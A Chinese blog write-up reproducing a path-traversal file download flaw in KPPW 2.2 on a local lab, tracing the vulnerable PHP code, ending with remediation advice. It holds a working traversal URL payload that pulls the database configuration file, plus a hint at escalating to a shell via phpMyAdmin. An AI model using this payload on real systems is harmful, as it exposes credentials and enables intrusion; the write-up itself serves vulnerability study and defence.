KPPW2.2 漏洞利用--文件下载

任意文件下载漏洞

环境搭建

1,集成环境简单方便,如wamp,phpstudy....

2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面

3,安装,访问(http://127.0.0.1/test/KPPW2.2UTF8/install/index.php)(如果显示500错误  Internal Server Error ,须将目录下面的 .htaccess 文件删除),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。

上述,漏洞复现平台搭建成功。

首页(http://127.0.0.1/test/KPPW2.2UTF8/index.php)。

漏洞分析

任意文件下载漏洞

Web应用程序中提供的文件下载接口对用户提交的数据过滤不严格,导致黑客可以通过构造相对路径,文件后缀等方式,将其他文件传入文件下载接口中,并利用该方式非法获取服务器数据。

本次漏洞根源位于 /control/ajax/ajax_file.php,代码如下:

<?php    defined ( 'IN_KEKE' ) or exit('Access Denied');
switch ($ajax){
case "load":
if($work_id){
$file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
$file_list = keke_task_class::get_work_file($file_ids);
}
break;
case "download":
keke_file_class::file_down($file_name, $file_path);
break;
case "delete":
$res = keke_file_class::del_att_file($file_id, $filepath);
$res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
die ();
break;

switch有四个选项,分别为:loaddownloaddeletedel

变量$ajax 传过来哪个值,就会执行哪部分的代码,比如传过来的值为 download,则就会执行下载模块下的代码。

在 download 选项中,可以看到,有文件名和文件路径的参数:

case "download":
keke_file_class::file_down($file_name, $file_path);
break;

我们继续跟进 file_down 这个函数,它位于 lib/helper/keke_file_class.php ,188 行 代码如下:

static function file_down($file_name, $file_path) {
keke_lang_class::load_lang_class ( 'keke_file_class' );
global $_lang;
if($file_name&&$file_path){
if(strpos($file_path, 'data/uploads/') !== false ){
$filename = S_ROOT . $file_path;
if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
}
$downfilename = str_replace ( ' ', '%20', $file_name );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $filename ) );
Header ( "Content-Disposition: attachment; filename=" . $downfilename );
$file = fopen ( $filename, "r" );
echo fread ( $file, filesize ( $filename ) );
fclose ( $file );
die ();
}else{
kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
}
}else{
kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
}
}

可以看到,系统首先将文件名称和文件路径传入,下面判断,如果在传入的路径中,没有 data/uploads ,则跳出循环。

它这里就限制了只能下载 uploads 下的文件。

接下来拼接字符串,形成一个新路径。接下来继续判断,如果文件名不存在,或者文件后缀名为 .php ,就会终止下载。

如果满足以上所有条件,就执行下载操作。

通过以上分析,得知它首先限制了路径,并限制了包含 php 文件的下载。

但是代码中忽略了一点,我们下载文件不一定是通过绝对路径下载,还可以通过相对路径下载文件。

我们可以在  data/uploads 后使用相对路径。就可以跳到前面的文件夹中,这样既包含了 data/uploads 字符串,符合代码规范,又可以跳到任意的文件夹。

因此我们可以利用相对路径构造 payload,如下:

http://127.0.0.1/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

这样可以下载到数据库配置文件。

这里就详细解释一下里面的参数,do,view,ajax,file_name,file_path。

首先看下入口 /index.php  第46行

$log_account=null;
if(isset($_COOKIE['log_account'])){
    $log_account = $_COOKIE['log_account'];
}
$square_open = $plug_arr['square']['status'];
kekezu::redirect_second_domain();
include S_ROOT . 'control/' . $do . '.php'; #第46

include 进行包含,这里根据 do 的参数的值的不同而包含 control 目录下不同的文件,payload里面的 do 等于 ajax,因此是进行包含 control 目录下的 ajax.php

接下来追踪到 /control/ajax.php

<?php defined ( 'IN_KEKE' ) or exit('Access Denied');
$_K['is_rewrite'] = 0 ;
$views = array('prom','ajax','upload','indus','score','code','share','menu','message','file','task','shop');
in_array($view,$views) or $view ="ajax";
require 'ajax/ajax_'.$view.'.php';

这里看下第三行 views 参数

这里的 views 是一个数组,下面的 require 函数是进行包含调用文件,总体来说就是从数组 views 里面选出来一个值,进而包含这个文件。

例如,当参数 views=file,下面就会包含 ajax/ajax_file.php 文件。

这样的话就回到了刚开始的分析的 /control/ajax/ajax_file.php 文件。

<?php    defined ( 'IN_KEKE' ) or exit('Access Denied');
switch ($ajax){
case "load":
if($work_id){
$file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
$file_list = keke_task_class::get_work_file($file_ids);
}
break;
case "download":
keke_file_class::file_down($file_name, $file_path);
break;
case "delete":
$res = keke_file_class::del_att_file($file_id, $filepath);
$res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
die ();
break;

这里是 ajax 参数,我们这里让 ajax 参数的值是 download,就会触发 file_down() 函数。

第四个参数file_name和第五个参数file_path,其中 file_name 是我们自定义的文件名称,file_path 是下载的文件路径。

也就是这里任意下载的文件,我们可以重新命名下载到本地。

追踪 file_down() 函数,它位于 lib/helper/keke_file_class.php ,188 行 代码如下:

static function file_down($file_name, $file_path) {
keke_lang_class::load_lang_class ( 'keke_file_class' );
global $_lang;
if($file_name&&$file_path){
if(strpos($file_path, 'data/uploads/') !== false ){
$filename = S_ROOT . $file_path;
if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
}
$downfilename = str_replace ( ' ', '%20', $file_name );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $filename ) );
Header ( "Content-Disposition: attachment; filename=" . $downfilename );
$file = fopen ( $filename, "r" );
echo fread ( $file, filesize ( $filename ) );
fclose ( $file );
die ();
}else{
kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
}
}else{
kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
}
}

可以看到,系统首先将文件名称和文件路径传入,下面判断,如果在传入的路径中,没有 data/uploads ,则跳出循环。

它这里就限制了只能下载 uploads 下的文件。接下来拼接字符串,形成一个新路径。接下来继续判断,如果文件名不存在,或者文件后缀名为 .php ,就会终止下载。

如果满足以上所有条件,就执行下载操作。

通过以上分析,得知它首先限制了路径,并限制了包含 php 文件的下载。

但是代码中忽略了一点,我们下载文件不一定是通过绝对路径下载,还可以通过相对路径下载文件,利用 ../ 下载到上级目录的文件。

我们可以在  data/uploads 后使用相对路径。就可以跳到前面的文件夹中,这样既包含了 data/uploads 字符串,符合代码规范,又可以跳到任意的文件夹。

因此,我们构造了 payload 进而触发漏洞。

http://127.0.0.1/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

漏洞利用

利用 hackbar ,输入 payload :

http://127.0.0.1/test/KPPW2.2UTF8/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

成功下载了文件,并获取了数据库账号密码。

接下来可以通过远程连接数据库进行渗透,如:通过phpmyadmin 进行 getshell ,或者远程连接数据库获取更多的有用信息。

漏洞修复

  • 过滤点(.)使用户在url中不能回溯上级目录
  • 正则严格判断用户输入参数的格式
  • php.ini 配置open_basedir限定文件访问范围

源码链接(链接: https://pan.baidu.com/s/1bqiSorH 密码: mk48)

本文链接(http://www.cnblogs.com/Oran9e/p/8259879.html),转载请注明。

任重而道远!

KPPW2.2 漏洞利用--文件下载的更多相关文章

  1. KPPW2.5 漏洞利用--SQL注入

    KPPW2.5 漏洞利用--SQL注入 SQL注入--布尔型盲注 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 ...

  2. KPPW2.7 漏洞利用--文件上传

    KPPW2.7 漏洞利用----文件上传 文件上传导致任意代码执行 搭建环境 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.7源码一份(文末有分享)放到WWW目录下面 ...

  3. KPPW2.5 漏洞利用--CSRF

    kppw2.5 CSRF漏洞复现 漏洞说明 http://192.168.50.157/kppw25/index.php?do=user&view=message&op=send 收件 ...

  4. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

  5. CVE-2017-11882漏洞利用

    CVE-2017-11882漏洞利用 最新Office的CVE-2017-11882的poc刚刚发布出来,让人眼前一亮,完美无弹窗,无视宏,影响Ms offcie全版本,对于企业来说危害很大.在此简单 ...

  6. rsync未授权访问漏洞利用

    漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...

  7. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

  8. apt28组织新的flash漏洞利用包dealerschoice分析

    17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...

  9. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

随机推荐

  1. Running Elixir in Docker Containers

    转自:https://www.poeticoding.com/running-elixir-in-docker-containers/ One of the wonderful things abou ...

  2. zeebe 为微服务架构的工作流引擎

    zeebe 是灵活.轻量的基于微服务架构的工作流引擎 包含以下特性: 可视化的额工作流 审计日志以及历史 水平缩放 持久化&&容错 消息驱动 操作容易 语言无关 工作流基于标准bpmn ...

  3. 对象的继承(prototype)

    修改构造函数的原型对象,批量修改所有子对象的继承关系

  4. MySql安装完成后,Navicat连接不上的问题

    Navicat连接mysql8.0.1版本出现1251--Client does not support authentication protocol requested by server的解决 ...

  5. day 31 进程的其他方法 进程锁 进程队列

    一.进程的其他方法 1.   .name      进程名   (可指定) 2.  .pid     进程号 3.   os.getpid         在什么位置就是什么的进程号 4.   .is ...

  6. 【转存】Vue组件选项props

    原帖地址 前面的话 组件接受的选项大部分与Vue实例一样,而选项props是组件中非常重要的一个选项.在 Vue 中,父子组件的关系可以总结为 props down, events up.父组件通过  ...

  7. jQuery的ready()事件与js中的onload事件的区别

    出处:http://blog.csdn.net/yuanmei1986/article/details/50781453

  8. hadoop mapreduce 简单例子

    本例子统计 用空格分开的单词出现数量(  这个Main.mian 启动方式是hadoop 2.0 的写法.1.0 不一样 ) 目录结构: 使用的 maven : 下面是maven 依赖. <de ...

  9. sqoop上传数据到hdfs,并用hive管理数据。

    sqoop导入mysql数据表到HDFS中sqoop import --connect jdbc:mysql://master:3306/test --username root --password ...

  10. R语言入门

    引入R的package(库) 首先是要安装TSA库,TSA是作者自己开发的一套基于R的pacakge,里面包含了函数以及数据:安装的方式是在R的控制台(console)中敲入install.packa ...